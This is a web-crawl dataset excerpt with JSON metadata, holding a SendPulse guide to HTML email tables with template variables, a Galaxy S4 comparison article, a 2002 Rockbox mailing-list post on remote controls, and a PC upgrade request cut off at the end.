}, "secondary": { "code": "5", "label": "Exceptionally Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-4,104,165,500,012,943,400
Send data arrays in Automation 360 To send an array of data to the customer, for instance, as a reminder about an abandoned cart or an offer to check out some products similar to those the client was looking at, use the "Structure" variable type. Open "Email" - "Automations" - "Events manager", and add a new custom event or edit an existing event. Add a "Structure" variable. Set up structured variables and click "Add." Structured variables can transfer links with items' images. This is how a data array (structure) of variables will look like in the email message editor: Use the HTML editor to insert images of the items: hit the "Insert/edit image" button, insert a variable into the "Source" box. The variable will transfer the image link. Besides, there is another option to insert an image. Open the template editor and click on the blue arrow to open the bottom part of the text editor: Then click the "Source code" icon: The source code editor will open. Insert <img src="{{item.string}}"/>, where {{item.string}} is a variable, that will transfer  the image link: This way you can insert an image, that was, for instance, transferred by the result of subscriber's actions with the campaign: select "Change variable" as the action type, select the proper variable for the email list and add its value — image link. Variables from a mailing list can be used in the array if the mailing list is linked to the start of the automation flow.   Other variables from the event can be used as well. A variable name must start with a Latin letter and consist of numerals and Latin characters only. Intervals and special characters can't be used in variables' names.  Hyperlinks can't be transferred via structured variables. To start the automation flow, send the event to the URL you get after the event creation. The images won't be displayed when you save the template, but the recipient of the triggered email will see them. How to add data arrays into a table Data arrays can be added in a table in an email template with the help of the HTML editor or template designer. HTML editor Select an event with variables of structure type as the flow start. Link the "Email" block to the flow start. In the settings panel of the "Email" block open the HTML editor. Insert the variables from the event on which the flow starts into the email content. Edit the source code. Write the table parameters in the HTML code of the email. Add the [CDATA []] tag for each data array in the HTML editor. Sample code with one data array: <table style = "width: 100%;"> <tbody> <! [CDATA [| [for item in Product_1] |]]> <tr> <td style = "max-width: 170px; color: # 555555; font-family: 'PT Sans Narrow', sans-serif; font-weight: bold; text-transform: uppercase; padding-bottom: 10px; padding- top: 10px; padding-right: 15px; width: 7.80952%; "> <img src =" {{item.product_name}} "caption =" false "> </ td> <td style = "max-width: 170px; color: # 555555; font-family: 'PT Sans Narrow', sans-serif; font-weight: bold; text-transform: uppercase; padding-bottom: 10px; padding- top: 10px; padding-right: 15px; width: 7.80952%; "> {{item.item_number}} </ td> <td style = "max-width: 170px; color: # 555555; font-family: 'PT Sans Narrow', sans-serif; font-weight: bold; text-transform: uppercase; padding-bottom: 10px; padding- top: 10px; padding-right: 15px; width: 7.80952%; "> {{item.price}} </ td> </ tr> <! [CDATA [| [endfor] |]]> </ tbody&gt </ table> An email template after adding a table layout to the source code: Designer Select an event with variables of structure type as the flow start. Link the "Email" block to the flow start. In the settings panel of the "Email" block start the designer. Choose the structure that suits you. Insert variables from the event on which the flow starts into the text block of the template. Edit the source code. Write the table parameters in the HTML code of the email. Sample code with one data array: <table style = "width: 100%;"> <tbody> <tr> <td style = "max-width: 170px; color: # 555555; font-family: 'PT Sans Narrow', sans-serif; font-weight: bold; text-transform: uppercase; padding-bottom: 10px; padding- top: 10px; padding-right: 15px; width: 7.80952%; "> {{item.product_name}} </ td> <td style = "max-width: 170px; color: # 555555; font-family: 'PT Sans Narrow', sans-serif; font-weight: bold; text-transform: uppercase; padding-bottom: 10px; padding- top: 10px; padding-right: 15px; width: 7.80952%; "> {{item.item_number}} </ td> <td style = "max-width: 170px; color: # 555555; font-family: 'PT Sans Narrow', sans-serif; font-weight: bold; text-transform: uppercase; padding-bottom: 10px; padding- top: 10px; padding-right: 15px; width: 7.80952%; "> {{item.price}} </ td> </ tr> </ tbody> </ table> An email template after adding a table layout to the source code: Rate this article about "Send data arrays in Automation 360" User Rating: 5 / 5 (7) Other useful articles Popular in Our Blog Try SendPulse today for free
{ "url": "https://sendpulse.com/knowledge-base/email-service/automation360/send-data-array-a360", "source_domain": "sendpulse.com", "snapshot_id": "crawl=CC-MAIN-2020-05", "warc_metadata": { "Content-Length": "81589", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:YFZX4PL57C75EMIK7TEJOBD5HV4ZMSTB", "WARC-Concurrent-To": "<urn:uuid:fc13bf82-6f3a-4d4b-b8c7-648815d5c8a6>", "WARC-Date": "2020-01-22T16:35:51Z", "WARC-IP-Address": "88.99.3.196", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:LN2OX3BOMQC4FKXDAY4ZEIUH6CIH6PEE", "WARC-Record-ID": "<urn:uuid:a0ea512b-13fc-4acb-a10e-961f1c87598c>", "WARC-Target-URI": "https://sendpulse.com/knowledge-base/email-service/automation360/send-data-array-a360", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:b42b2b60-93c9-4208-a6b4-1eff59954fe7>" }, "warc_info": "isPartOf: CC-MAIN-2020-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-196.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 35, 36, 248, 249, 352, 353, 381, 382, 427, 428, 488, 489, 583, 584, 755, 756, 906, 907, 942, 943, 1087, 1088, 1338, 1339, 1463, 1515, 1516, 1683, 1684, 1742, 1743, 1833, 1834, 1948, 1949, 1985, 1986, 2098, 2099, 2111, 2112, 2180, 2181, 2288, 2289, 2374, 2375, 2397, 2398, 2456, 2457, 2520, 2521, 2554, 2555, 2586, 2636, 2641, 2923, 3171, 3413, 3420, 3459, 3469, 3470, 3536, 3537, 3546, 3547, 3615, 3616, 3721, 3722, 3759, 3760, 3854, 3855, 3877, 3878, 3936, 3937, 3970, 3971, 4002, 4010, 4015, 4264, 4512, 4754, 4761, 4771, 4781, 4782, 4848, 4849, 4910, 4911, 4934, 4935, 4961, 4962, 4986, 4987 ], "line_end_idx": [ 35, 36, 248, 249, 352, 353, 381, 382, 427, 428, 488, 489, 583, 584, 755, 756, 906, 907, 942, 943, 1087, 1088, 1338, 1339, 1463, 1515, 1516, 1683, 1684, 1742, 1743, 1833, 1834, 1948, 1949, 1985, 1986, 2098, 2099, 2111, 2112, 2180, 2181, 2288, 2289, 2374, 2375, 2397, 2398, 2456, 2457, 2520, 2521, 2554, 2555, 2586, 2636, 2641, 2923, 3171, 3413, 3420, 3459, 3469, 3470, 3536, 3537, 3546, 3547, 3615, 3616, 3721, 3722, 3759, 3760, 3854, 3855, 3877, 3878, 3936, 3937, 3970, 3971, 4002, 4010, 4015, 4264, 4512, 4754, 4761, 4771, 4781, 4782, 4848, 4849, 4910, 4911, 4934, 4935, 4961, 4962, 4986, 4987, 5019 ] }
{ "red_pajama_v2": { "ccnet_original_length": 5019, "ccnet_original_nlines": 103, "rps_doc_curly_bracket": 0.0063757700845599174, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.21197007596492767, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.014962590299546719, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.34413963556289673, "rps_doc_frac_unique_words": 0.29388296604156494, "rps_doc_mean_word_length": 4.914893627166748, "rps_doc_num_sentences": 49, "rps_doc_symbol_to_word_ratio": 0.004987529944628477, "rps_doc_unigram_entropy": 4.842379570007324, "rps_doc_word_count": 752, "rps_doc_frac_chars_dupe_10grams": 0.45346319675445557, "rps_doc_frac_chars_dupe_5grams": 0.4821428656578064, "rps_doc_frac_chars_dupe_6grams": 0.46915584802627563, "rps_doc_frac_chars_dupe_7grams": 0.45346319675445557, "rps_doc_frac_chars_dupe_8grams": 0.45346319675445557, "rps_doc_frac_chars_dupe_9grams": 0.45346319675445557, "rps_doc_frac_chars_top_2gram": 0.013528140261769295, "rps_doc_frac_chars_top_3gram": 0.02110389992594719, "rps_doc_frac_chars_top_4gram": 0.03246752917766571, "rps_doc_books_importance": -553.8230590820312, "rps_doc_books_importance_length_correction": -553.8230590820312, "rps_doc_openwebtext_importance": -335.5868835449219, "rps_doc_openwebtext_importance_length_correction": -335.5868835449219, "rps_doc_wikipedia_importance": -207.36825561523438, "rps_doc_wikipedia_importance_length_correction": -207.36825561523438 }, "fasttext": { "dclm": 0.06944245100021362, "english": 0.6267799735069275, "fineweb_edu_approx": 2.3844287395477295, "eai_general_math": 0.12278050184249878, "eai_open_web_math": 0.06434010714292526, "eai_web_code": 0.6498240232467651 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "658.87", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Business", "level_3": "Management" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-4,211,979,807,811,515,400
Samsung Galaxy S4 Vs Top Selling Phones Samsung Galaxy S4 Stop ! One of those girls has nicked my Galaxy S4   Which phones are better than the Samsung Galaxy S4? Find out here There are several different smartphones on the market that you might be considering alongside the Samsung Galaxy S4. You may already know what the Samsung Galaxy S4’s features and functions are. You may know which work for it and which count against it. This article covers how it measures upagainst the other top selling phones. We’ve  included other Android phones as well as the various iPhones out there. The Samsung Galaxy S4 vs. iPhone 4s The Samsung Galaxy S4 blows the iPhone 4s out of the water in almost all regards. The Samsung flagship has  a quad core processor in comparison to a dual core of the 2 year old iPhone.  Of more importance to most average users, there is a screen size difference of an enormous 1.5 inches across the diagonal. That’s a lot of real estate. Additionally, like all Galaxy family products, the S4 has expandable memory – a definite plus in these days of phone multimedia. The main and front camera is drastically improved on the Galaxy S3. And the fastest network speed available anywhere in the world (  4G – or LTE ) is in place on the Samsung unit, compared to the the 3G capabilities of the iPhone 4s. Unless you want the iOS operating system, S4 is the better choice. Find out more in our in depth review – The Samsung Galaxy S4 vs the iPhone 4s The Samsung Galaxy S4 vs. iPhone 5c These two phones both have pros and cons that need to be considered. The Samsung Galaxy S4 has better battery power and a number of additional features, common to Android which you won’t find in iPhones, including NFC. The iPhone 5c has the cache of an iPhone, the most high end of all smartphones but comes at one of the most affordable Apple price points. You will get a slightly more modern look with the Apple phone, including a bunch of colour options and a more durable plastic shell. Need more detail ? We understand. You can compare the iPhone 5c vs the Samsung Galaxy S4 in depth, here. The Samsung Galaxy S4 vs. HTC One These are two of the best releases of 2013 and still rank highly among Android phones. The Galaxy S4 has a stronger brand and expandable memory, two things that the HTC One does not have. What the HTC One does have over the S4 is louder stereo speakers and an impressive aluminum chassis as well as a heap of software features you won’t get from the Korean manufacturer. If you’d like t navigate your way between two of the best mobiles released in 2013, you can do it here with our article – the Samsung Galaxy S4 vs the HTC One. The Samsung Galaxy S4 vs. iPhone 5s The Galaxy S4 and the iPhone 5s match each other feature for feature in many regards. If you choose the iPhone 5s because it has a fingerprint security and the sleeker look, you’ll losing out on battery power. The S4 doesn’t have quite the same quality of camera as the iPhone, but the other innovative features make up for it – and you always have the ability to add a memory card to the S4 as well which will save you heaps of cash when compared to the iPhone. All the in depth details of the two 2013 flagship releases are available here in the Samsung Galaxy S4 vs the iPhone 5s The Samsung Galaxy S4 S4 vs. iPhone 5 The Samsung Galaxy S4 and the iPhone 5 have a lot in common. There are some big differences, however. The screen on the iPhone seems puny compared to the screen on the Samsung Galaxy S4. The Galaxy has a suite of health focused apps provided by Samsung on your phone and a bunch of innovative features you’ll have to explore to believe. Check out one of the best of Android with one of the most affordable iPhones in The Samsung Galaxy S4 vs the iPhone 5. The Samsung Galaxy S4 vs. Samsung Galaxy S3 The S4 is simply the more recent version of the S3. The S4 was an evolution of the S3, not a revolution. But every feature was at least slightly improved between the two. The comparison then is a question about which phone is the better value. The answer might surprise you. Find out for yourself in The Samsung Galaxy S4 vs The Samsung Galaxy S3.   Neil Aitken Having worked in 3 countries for 4 telcos on both voice and data products, Neil is in a position to give you the inside track. Get beyond the marketing messages to the best plan for you.
{ "url": "https://whatphone.com.au/guide/samsung-galaxy-s4-vs-top-selling-phones/", "source_domain": "whatphone.com.au", "snapshot_id": "crawl=CC-MAIN-2018-34", "warc_metadata": { "Content-Length": "63349", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:AJU2THGBU5HB4Y6YQHSGNYWZKSMHTXIE", "WARC-Concurrent-To": "<urn:uuid:e4016dca-03c5-41c3-b904-9daf8ddbc2bf>", "WARC-Date": "2018-08-17T15:32:59Z", "WARC-IP-Address": "104.18.43.243", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:6OXRGJXOKW2HDIJXNJJ7KVJMQODLMY7K", "WARC-Record-ID": "<urn:uuid:dec11c8e-1bab-42a1-8f18-8de9bf00e41a>", "WARC-Target-URI": "https://whatphone.com.au/guide/samsung-galaxy-s4-vs-top-selling-phones/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:cea06b51-d411-4409-aa45-1e3d20869f2a>" }, "warc_info": "isPartOf: CC-MAIN-2018-34\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-31-69-36.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 40, 41, 59, 109, 110, 112, 113, 179, 180, 589, 590, 626, 627, 1395, 1396, 1474, 1475, 1511, 1512, 2003, 2004, 2109, 2110, 2144, 2145, 2516, 2517, 2677, 2678, 2714, 2715, 3178, 3179, 3299, 3300, 3338, 3339, 3676, 3677, 3796, 3797, 3841, 3842, 4117, 4118, 4191, 4192, 4194, 4195, 4207, 4208 ], "line_end_idx": [ 40, 41, 59, 109, 110, 112, 113, 179, 180, 589, 590, 626, 627, 1395, 1396, 1474, 1475, 1511, 1512, 2003, 2004, 2109, 2110, 2144, 2145, 2516, 2517, 2677, 2678, 2714, 2715, 3178, 3179, 3299, 3300, 3338, 3339, 3676, 3677, 3796, 3797, 3841, 3842, 4117, 4118, 4191, 4192, 4194, 4195, 4207, 4208, 4394 ] }
{ "red_pajama_v2": { "ccnet_original_length": 4394, "ccnet_original_nlines": 51, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.4403567314147949, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.05016722157597542, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.10367892682552338, "rps_doc_frac_unique_words": 0.36666667461395264, "rps_doc_mean_word_length": 4.296296119689941, "rps_doc_num_sentences": 49, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.863324165344238, "rps_doc_word_count": 810, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.11005747318267822, "rps_doc_frac_chars_dupe_6grams": 0.08189655095338821, "rps_doc_frac_chars_dupe_7grams": 0.04051724076271057, "rps_doc_frac_chars_dupe_8grams": 0.01781608909368515, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.08591953665018082, "rps_doc_frac_chars_top_3gram": 0.08620689809322357, "rps_doc_frac_chars_top_4gram": 0.09310345351696014, "rps_doc_books_importance": -399.85205078125, "rps_doc_books_importance_length_correction": -399.85205078125, "rps_doc_openwebtext_importance": -194.96046447753906, "rps_doc_openwebtext_importance_length_correction": -194.96046447753906, "rps_doc_wikipedia_importance": -126.60064697265625, "rps_doc_wikipedia_importance_length_correction": -126.60064697265625 }, "fasttext": { "dclm": 0.01886671967804432, "english": 0.9122574925422668, "fineweb_edu_approx": 1.0015604496002197, "eai_general_math": 0.0015281400410458446, "eai_open_web_math": 0.06608272343873978, "eai_web_code": 0.0001423399953637272 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "658.85", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Business", "level_3": "Management" } } }, "bloom_cognitive_process": { "primary": { "code": "5", "label": "Evaluate" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "14", "label": "Reviews/Critiques" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "10", "label": "Knowledge Article" }, "secondary": { "code": "12", "label": "Listicle" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
4,982,749,803,910,220,000
Rockbox.org home release dev builds extras themes manual wiki device status forums mailing lists IRC bugs patches dev guide translations Rockbox mail archive Subject: RE: Remote control with display RE: Remote control with display From: Justin Fisher <JustinF_at_valvesoftware.com> Date: Fri, 4 Oct 2002 12:24:55 -0700 Does anyone have in mind a suitable "off the shelf" remote that could be used for the project? Building a custom one is easier in the short term because it can be designed for the archos, (and I wouldn't mind building my own), but it's harder in the long run because everyone has to build their remotes by hand, and someone has to put plans online, and people will forever be running in difficulties making them and asking for help. It's a pity that the sony standard remotes can't be used, as there is a lot of infrastructure out there that supports them. Does anyone know of any similarly widespread remotes that could be used? -----Original Message----- From: Andreas Stemmer [mailto:Andreas.Stemmer_at_web.de] Sent: Friday, October 04, 2002 9:48 AM To: rockbox_at_cool.haxx.se Subject: RE: Remote control with display > > I missed the beginning of this, but why not just have a > > setting in the options menu? > > 1) It's way cooler to make it work plug & play 100% Ack! > 2) Some guy will someday insert the new remote without > enabling it in the options This wouldn't be a big problem, he would notice if his display stays empty. > 3) Some guy will someday insert the old remote with the > new still enabled in the menu This could be a problem depending on the electrical design of the old remote 4) I think we shouldn't introduce more options if they aren't really necessary. You have to set this "option" according to the remote you use, it's not a choice. If rockbox can detect it there's no possibility for the user to set the option wrong. The whole discussion started with my suggestion to make the remote poll the data from the jukebox, i.g. the remote asks the jukebox from time to time to send the required data. This would have advantage that the jukebox only changes to send-mode if the remote requested data and that the remote can "decide" what kind of data it wants to have. The behaviour of the jukebox could be the same with every kind of remote this way, becaus there would just be another command "request data" that makes the jukebox send data and the standard remote will never send this. Andrew suggested to have the jukebox send data if something changed to prevent unnecessary traffic and power consumption. This only works of course, if the jukebox knows if there is a remote that can understand what is beeing sent. Andreas Stemmer Received on 2002-10-04 Page template was last modified "Tue Sep 7 00:00:02 2021" The Rockbox Crew -- Privacy Policy
{ "url": "https://www.rockbox.org/mail/archive/rockbox-archive-2002-10/0149.shtml", "source_domain": "www.rockbox.org", "snapshot_id": "CC-MAIN-2024-30", "warc_metadata": { "Content-Length": "11296", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:KFAQS4RYPZOZVCVSFJO2U5WXLKYWEBNX", "WARC-Concurrent-To": "<urn:uuid:ca9da6bf-236e-4dfa-a574-f3b9e087ac20>", "WARC-Date": "2024-07-16T09:45:38Z", "WARC-IP-Address": "51.81.187.58", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:6JHXFASGIOXUWHCH2Y4JIXKJA7SJLKDJ", "WARC-Record-ID": "<urn:uuid:dd12341d-7c6f-4251-9696-11657b714888>", "WARC-Target-URI": "https://www.rockbox.org/mail/archive/rockbox-archive-2002-10/0149.shtml", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:de730a25-6487-439e-a007-720f6d976d7d>" }, "warc_info": "isPartOf: CC-MAIN-2024-30\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-196\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 1, 18, 26, 37, 44, 58, 63, 84, 98, 107, 115, 125, 138, 139, 140, 141, 162, 163, 204, 205, 237, 238, 289, 326, 327, 400, 422, 499, 573, 643, 714, 760, 761, 837, 909, 958, 959, 986, 1043, 1082, 1110, 1151, 1152, 1153, 1213, 1246, 1248, 1297, 1298, 1308, 1309, 1366, 1395, 1396, 1451, 1472, 1473, 1531, 1563, 1564, 1623, 1641, 1642, 1704, 1765, 1826, 1890, 1891, 1951, 2011, 2073, 2137, 2199, 2264, 2325, 2387, 2449, 2455, 2515, 2577, 2637, 2687, 2688, 2704, 2727, 2728 ], "line_end_idx": [ 1, 18, 26, 37, 44, 58, 63, 84, 98, 107, 115, 125, 138, 139, 140, 141, 162, 163, 204, 205, 237, 238, 289, 326, 327, 400, 422, 499, 573, 643, 714, 760, 761, 837, 909, 958, 959, 986, 1043, 1082, 1110, 1151, 1152, 1153, 1213, 1246, 1248, 1297, 1298, 1308, 1309, 1366, 1395, 1396, 1451, 1472, 1473, 1531, 1563, 1564, 1623, 1641, 1642, 1704, 1765, 1826, 1890, 1891, 1951, 2011, 2073, 2137, 2199, 2264, 2325, 2387, 2449, 2455, 2515, 2577, 2637, 2687, 2688, 2704, 2727, 2728, 2820 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2820, "ccnet_original_nlines": 86, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3970099687576294, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.013289039954543114, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2059800773859024, "rps_doc_frac_unique_words": 0.5221052765846252, "rps_doc_mean_word_length": 4.623157978057861, "rps_doc_num_sentences": 24, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.05134916305542, "rps_doc_word_count": 475, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.06648451834917068, "rps_doc_frac_chars_dupe_6grams": 0.054644808173179626, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.03187613934278488, "rps_doc_frac_chars_top_3gram": 0.02049179933965206, "rps_doc_frac_chars_top_4gram": 0.025956280529499054, "rps_doc_books_importance": -261.79046630859375, "rps_doc_books_importance_length_correction": -261.79046630859375, "rps_doc_openwebtext_importance": -127.88392639160156, "rps_doc_openwebtext_importance_length_correction": -127.88392639160156, "rps_doc_wikipedia_importance": -139.27891540527344, "rps_doc_wikipedia_importance_length_correction": -139.27891540527344 }, "fasttext": { "dclm": 0.05139642953872681, "english": 0.9286309480667114, "fineweb_edu_approx": 1.2888400554656982, "eai_general_math": 0.5042896866798401, "eai_open_web_math": 0.28440916538238525, "eai_web_code": 0.31866568326950073 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.6", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "621.392", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Engineering", "level_3": "Mechanical engineering and Machinery" } } }, "bloom_cognitive_process": { "primary": { "code": "4", "label": "Analyze" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "6", "label": "Not Applicable/Indeterminate" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
7,262,309,846,238,619,000
CPU/GPU/RAM/Mobo Upgrade Advice (~$700) Cougar7 Reputable Apr 5, 2014 23 0 4,510 0 Hi all, About 4 1/2 years ago this forum helped me decide on a build for a PC. I felt after about 5 years it was time to look at upgrading options to modernize it and want some advice. I also have questions about whether it's worth waiting for the GTX 2060 (I know that since it hasn't been announced yet, there's very limited help with this question, but you guys may know something that can help). Here are my responses to the format: ------------------------------------------ Approximate Purchase Date: I was originally thinking next Spring or so (heavily depends on whether the GTX 2060 is considered to be worth the wait), but figured this time of year with Black Friday/Cyber Monday would be a great time, plus the computer is showing signs of age. Budget Range: $600 - $1000 max, but looking closer to about $700 (willing to consider more expensive options if there's enough value to justify it). System Usage from Most to Least Important: Gaming, surfing the internet, maybe occasional movie streaming. Are you buying a monitor: No. Parts to Upgrade: CPU, Mobo, RAM, GPU My power supply is XFX 650W TS SERIES FULL WIRED 80+ BRONZE PSU Do you need to buy OS: No (I purchased using a student discount, which I believe is a retail version) Preferred Website(s) for Parts: As long as it's trustworthy it doesn't matter, but I'm more familiar with Amazon and NewEgg and have used TigerDirect and NCIX before. Location: Utah County, Utah Parts Preferences: I like Intel for CPU and Nvidia for graphics cards. Overclocking: Maybe. I haven't done it and don't plan to, but if there's enough value I'll consider it. SLI or Crossfire: Maybe; same as above, but with my specs would most likely be a no. Your Monitor Resolution: 1920x1080 Additional Comments: I often have lots of Google Chrome tabs open. I mainly play Heroes of the Storm, but will also be playing Starcraft II (the latest), Civilization VI, and most likely Madden 19 and possibly Star Wars Battlefront II (the latest), as well as old games that are more likely to have Windows compatibility issues than hardware issues. And Most Importantly, Why Are You Upgrading: It's showing its age, and new games are starting to lag. Not to mention that 8 GB RAM was enough back in spring 2014, but much less so now. Here's what I have now: PCPartPicker part list / Price breakdown by merchant CPU: Intel - Core i5-4430 3 GHz Quad-Core Processor Motherboard: ASRock - Fatal1ty H87 Performance ATX LGA1150 Motherboard Memory: G.Skill - Ares Series 8GB (2 x 4GB) DDR3-1600 Memory ($61.99 @ Newegg) Storage: Crucial - M500 120GB 2.5" Solid State Drive Storage: Seagate - Barracuda 1TB 3.5" 7200RPM Internal Hard Drive ($42.74 @ Amazon) Video Card: MSI - GeForce GTX 760 2 GB TWIN FROZR Video Card Case: Corsair - 400R ATX Mid Tower Case Power Supply: XFX - 650 W 80+ Bronze Certified ATX Power Supply ($83.98 @ SuperBiiz) Optical Drive: Lite-On - iHAS124-04 DVD/CD Writer ($29.89 @ OutletPC) Operating System: Microsoft - Windows 10 Pro OEM 64-bit ($124.79 @ OutletPC) Monitor: Asus - VS238H-P 23.0" 1920x1080 Monitor ($167.98 @ SuperBiiz) Speakers: Logitech - Z313 25 W 2.1ch Speakers ($36.04 @ Walmart) Total: $547.41 Prices include shipping, taxes, and discounts when available Generated by PCPartPicker 2018-11-07 17:03 EST-0500 Here's what I've looked at right now (could use advice on CPU and mobo in particular): Note: Case and PSU included for compatibility check, not because I'm purchasing them PCPartPicker part list / Price breakdown by merchant CPU: Intel - Core i5-8400 2.8 GHz 6-Core Processor ($220.88 @ OutletPC) Motherboard: MSI - B360 GAMING PLUS ATX LGA1151 Motherboard ($94.89 @ OutletPC) Memory: 